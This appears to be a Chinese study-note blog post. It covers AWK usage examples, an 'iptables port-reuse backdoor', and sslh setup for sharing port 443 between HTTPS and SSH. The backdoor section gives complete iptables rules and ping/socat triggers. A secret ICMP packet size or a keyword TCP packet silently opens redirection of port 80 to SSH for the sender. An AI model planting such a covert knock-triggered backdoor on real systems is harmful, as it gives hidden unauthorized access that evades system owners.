AWK+iptables端口复用+sslh

目录

  • AWK简单总结
    • 常用命令选项
    • 变量
      • 内置变量
      • 自定义变量
    • printf命令
      • 格式
    • awk的经典实战案例
      • 案例一、插入几个新字段
      • 案例二、格式化空白
      • 案例三、筛选IPv4地址
      • 案例四、根据某字段去重
      • 案例五、次数统计
      • 案例六、统计TCP连接状态数量
      • 案例七、取字段中指定字符数量
      • 案例八、行列转换
  • iptables端口复用后门
    • ICMP协议做遥控开关
    • TCP协议做遥控开关
  • 让HTTPS、SSH 共享端口的——工具SSLH
    • 安装 SSLH
    • 配置 Apache 或 Nginx Web 服务器
    • 配置 SSLH
    • 测试

AWK简单总结

awk是linux/unix下的一个强大编程工具,他支持用户自定义函数和动态正则表达式,灵活性强,运行速度快。

常用命令选项

  • -F fs:fs指定输入分隔符,fs可以是字符串或正则表达式,如-F:
  • -v var=value:赋值一个用户定义变量,将外部变量传递给awk
  • -f scripfile:从脚本文件中读取awk命令

变量

内置变量

  1. FS输入字段分隔符默认为空白字符
    awk -v FS=“:” ‘{print $1}’ /etc/passwd #以冒号为分隔符,打印第一列
    AWK+iptables端口复用+sslh_第1张图片

  2. OFS输出字段分隔符,默认为空白字符
    awk -v FS=‘:’ -v OFS=‘|’ ‘{print $1,$2}’ /etc/passwd
    AWK+iptables端口复用+sslh_第2张图片

  3. RS :输入记录分隔符,指定输入时的换行符,原换行符仍有效
    awk -v RS=“:” ‘{print $1,$2}’ /etc/passwd 以冒号为节点进行换行打印
    AWK+iptables端口复用+sslh_第3张图片

  4. ORS :输出记录分隔符,输出时用指定符号代替换行符
    awk -v FS=‘:’ -v ORS=‘|’ ‘{print $1,$2}’ /etc/passwd
    在这里插入图片描述

  5. NF :字段数量, $NF引用最后一列,$(NF-1)引用倒数第2列
    [root@www ~]# awk -v FS=“:” ‘{print $1,$(NF-1),$NF}’ /etc/passwd
    AWK+iptables端口复用+sslh_第4张图片

  6. NR行号,后可跟多个文件,第二个文件行号继续从第一个文件最后行号开始
    [root@www ~]# awk -v FS=‘:’ ‘{print $1,NR}’ /etc/passwd | head -n 5
    AWK+iptables端口复用+sslh_第5张图片

  7. FNR :各文件分别计数, 行号,后跟一个文件和NR一样,跟多个文件,第二个文件行号从1开始
    awk -v FS=‘:’ ‘{print $1,FNR}’ cdx.file /etc/passwd| head -n 5
    AWK+iptables端口复用+sslh_第6张图片
    在这里插入图片描述

  8. FILENAME :当前文件名
    [root@along ~]# awk ‘{print FILENAME}’ cdx.file
    在这里插入图片描述

  9. ARGC :命令行参数的个数
    [root@www ~]# awk ‘BEGIN {print ARGC}’ 1 2 3 4 3AWK+iptables端口复用+sslh_第7张图片

  10. ARGV :数组,保存的是命令行所给定的各参数,查看参数

[root@www ~]# awk 'BEGIN {print ARGV[0]}' 1 2 3 4 3
awk
[root@www ~]# awk 'BEGIN {print ARGV[4]}' 1 2 3 4 3
4
[root@www ~]# awk 'BEGIN {print ARGV[6]}' 1 2 3 4 3

[root@www ~]# awk 'BEGIN {print ARGV[5]}' 1 2 3 4 3
3

AWK+iptables端口复用+sslh_第8张图片

自定义变量

自定义变量( 区分字符大小写)

(1)-v var=value

① 先定义变量,后执行动作print

[root@www ~]# awk -v name="tang" -F: '{print name":"$0}' /etc/passwd  | head -n 5
tang:root:x:0:0:root:/root:/bin/bash
tang:bin:x:1:1:bin:/bin:/sbin/nologin
tang:daemon:x:2:2:daemon:/sbin:/sbin/nologin
tang:adm:x:3:4:adm:/var/adm:/sbin/nologin
tang:lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin

AWK+iptables端口复用+sslh_第9张图片
② 在执行动作print后定义变量

[root@www ~]# awk -F: '{print name":"$0;name="tang"}' /etc/passwd  | head -n 5
:root:x:0:0:root:/root:/bin/bash
tang:bin:x:1:1:bin:/bin:/sbin/nologin
tang:daemon:x:2:2:daemon:/sbin:/sbin/nologin
tang:adm:x:3:4:adm:/var/adm:/sbin/nologin
tang:lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin

AWK+iptables端口复用+sslh_第10张图片
(2)在program 中直接定义

可以把执行的动作放在脚本中,直接调用脚本 -f

[root@www ~]# cat 1.txt
{name="tang";print name,$1}
[root@www ~]# awk -f 1.txt /etc/passwd  | head -n 5
tang root:x:0:0:root:/root:/bin/bash
tang bin:x:1:1:bin:/bin:/sbin/nologin
tang daemon:x:2:2:daemon:/sbin:/sbin/nologin
tang adm:x:3:4:adm:/var/adm:/sbin/nologin
tang lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin

AWK+iptables端口复用+sslh_第11张图片

printf命令

格式

(1)格式化输出

printf` `"FORMAT"``, item1,item2, ...

① 必须指定FORMAT

不会自动换行,需要显式给出换行控制符

③ FORMAT 中需要分别为后面每个item 指定格式符

(2)格式符:与item 一一对应

  • %c: 显示字符的ASCII码

  • %d, %i: 显示十进制整数

  • %e, %E: 显示科学计数法数值

  • %f :显示为浮点数,小数** %5.1f,带整数、小数点、整数共5位,小数1位,不够用空格补上

  • %g, %G :以科学计数法或浮点形式显示数值

  • %s :显示字符串;例:%5s最少5个字符,不够用空格补上,超过5个还继续显示

  • %u :无符号整数

  • %%: 显示% 自身

在这里插入图片描述

awk的经典实战案例

案例一、插入几个新字段

在"a b c d"的b后面插入3个字段e f g

echo "a b c d" | awk '{$2=$2" e f g";print}'

在这里插入图片描述

案例二、格式化空白

移除每行的前缀、后缀空白,并将各部分左对齐。

awk '{$1=$1;print}' 2.txt
awk 'BEGIN{OFS="\t"}{$1=$1;print}' 2.txt

AWK+iptables端口复用+sslh_第12张图片

案例三、筛选IPv4地址

ifconfig | awk 'BEGIN{ RS=""} {print $6}'
ifconfig | awk ' /inet / && !($2 ~ /^127/){print $2}'

AWK+iptables端口复用+sslh_第13张图片

案例四、根据某字段去重

去掉uid=xxx重复的行。
AWK+iptables端口复用+sslh_第14张图片

案例五、次数统计

awk ‘{arr[$0]++}END{OFS=“\t”;for(i in arr){print arr[i],i}}’ 2.txt
AWK+iptables端口复用+sslh_第15张图片

案例六、统计TCP连接状态数量

netstat -antp | awk '/^tcp/{arr[$6]++}END{for (i in arr){print i,arr[i]}}'

AWK+iptables端口复用+sslh_第16张图片

netstat -antp | grep 'tcp' |awk '{print $4,$6}' |sort |uniq -c

AWK+iptables端口复用+sslh_第17张图片

案例七、取字段中指定字符数量

awk ‘{print $1,substr($2,1,3)}’ 2.txt
awk ‘BEGIN{FIELDWIDTH=“2 2:3”}{print $1,$2}’ 2.txt
AWK+iptables端口复用+sslh_第18张图片

案例八、行列转换

vim 1.txt
{
  for(i=1;i<=NF;i++){
         arr[i]=arr[i]" "$i
        }
}
END{
    for(i=1;i<=NF;i++){
            print arr[i]
        }
    }
[root@www ~]# awk  -f 1.txt 2.txt

AWK+iptables端口复用+sslh_第19张图片
行列转换时有空格
AWK+iptables端口复用+sslh_第20张图片
如何去掉前面空格
awk -f 1.txt 2.txt | awk ‘BEGIN{OFS=“\t”}{$1=$1;print}’
在这里插入图片描述

iptables端口复用后门

ICMP协议做遥控开关

创建端口复用链

iptables -t nat -N Port_multiplexing_chain

AWK+iptables端口复用+sslh_第21张图片
创建端口复用规则,将流量转发至22端口

iptables -t nat -A Port_multiplexing_chain -p tcp -j REDIRECT --to-port 22

开启开关,如果接收到一个长为 1139 的 ICMP 包,则将来源 IP 添加到加为letmein的列表中

iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1139 -m recent --set --name oupeng --rsource -j ACCEPT

关闭开关,如果接收到一个长为 1140 的 ICMP 包,则将来源 IP 从 letmein 列表中去掉

iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1140 -m recent --name oupeng --remove -j ACCEPT

如果发现 SYN 包的来源 IP 处于 letmein 列表中,将跳转到Port_multiplexing_chain链进行处理,有效时间为 3600 秒

iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name oupeng --rsource -j Port_multiplexing_chain

AWK+iptables端口复用+sslh_第22张图片
AWK+iptables端口复用+sslh_第23张图片
ping -c 1 -s 1111 192.168.137.131
AWK+iptables端口复用+sslh_第24张图片

ping -c 1 -s 1112 192.168.137.131 #关闭
AWK+iptables端口复用+sslh_第25张图片

TCP协议做遥控开关

创建端口复用链

iptables -t nat -N Port_multiplexing_chain_tcp   

创建端口复用规则,将流量转发至 22 端口

iptables -t nat -A Port_multiplexing_chain_tcp -p tcp -j REDIRECT --to-port 22 

开启开关,如果接收到一个’zimakaimen’TCP包,则将来源 IP 添加到加为的列表中

iptables -A INPUT -p tcp -m string --string 'zimakaimen' --algo bm -m recent --set --name oupeng --rsource -j ACCEPT   

关闭开关,如果接收到一个含有threathunterleaving的TCP包,则将来源 IP 从letmein的列表中移除

iptables -A INPUT -p tcp -m string --string 'zimaguanmen' --algo bm -m recent --name oupeng --remove -j ACCEPT     

如果发现 SYN 包的来源 IP 处于 letmein 列表中,将跳转到 wahaha 链进行处理,有效时间为 3600 秒

iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name oupeng --rsource -j   Port_multiplexing_chain_tcp 

echo zimakaimen | socat - tcp:192.168.137.131:80 #开启
echo zimaguanmen | socat - tcp:192.168.137.131:80 #关闭
AWK+iptables端口复用+sslh_第26张图片

让HTTPS、SSH 共享端口的——工具SSLH

安装 SSLH

apt-get install sslh

安装 SSLH 时,将提示你是要将 sslh 作为从 inetd 运行的服务,还是作为独立服务器运行。每种选择都有其自身的优点。如果每天只有少量连接,最好从 inetd 运行 sslh 以节省资源。另一方面,如果有很多连接,sslh 应作为独立服务器运行,以避免为每个传入连接生成新进程。
AWK+iptables端口复用+sslh_第27张图片

配置 Apache 或 Nginx Web 服务器

编辑 Web 服务器(nginx 或 apache)配置文件并找到以下行

listen 443 ssl;

将其修改为:

listen 127.0.0.1:443 ssl;

最后没找到自己添加
AWK+iptables端口复用+sslh_第28张图片

如果你在 Apache 中使用虚拟主机,请确保你也修改了它。

VirtualHost 127.0.0.1:443

保存并关闭配置文件。不要重新启动该服务。我们还没有完成。

配置 SSLH

使 Web 服务器仅在本地接口上侦听后,编辑 SSLH 配置文件:

sudo vim /etc/default/sslh
找到下列行:
	Run=no
将其修改为:
	Run=yes
并修改以下行以允许 SSLH 在所有可用接口上侦听端口 443(例如 0.0.0.0:443)。
DAEMON_OPTS="--user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443 --pidfile /var/run/sslh/sslh.pid"

AWK+iptables端口复用+sslh_第29张图片
–user sslh:要求在这个特定的用户身份下运行。

–listen 0.0.0.0:443:SSLH 监听于所有可用接口的 443 端口。

–sshs 127.0.0.1:22 : 将 SSH 流量路由到本地的 22 端口。

–ssl 127.0.0.1:443 : 将 HTTPS/SSL 流量路由到本地的 443 端口。 保存并关闭文件。

最后,启用并启动 sslh 服务以更新更改。

sudo systemctl enable sslh
sudo systemctl start sslh

测试

检查 SSLH 守护程序是否正在监听 443。

ps -ef | grep sslh

AWK+iptables端口复用+sslh_第30张图片
现在,在kali上远程访问

AWK+iptables端口复用+sslh_第31张图片

你可能感兴趣的:(笔记,作业,linux,iptables)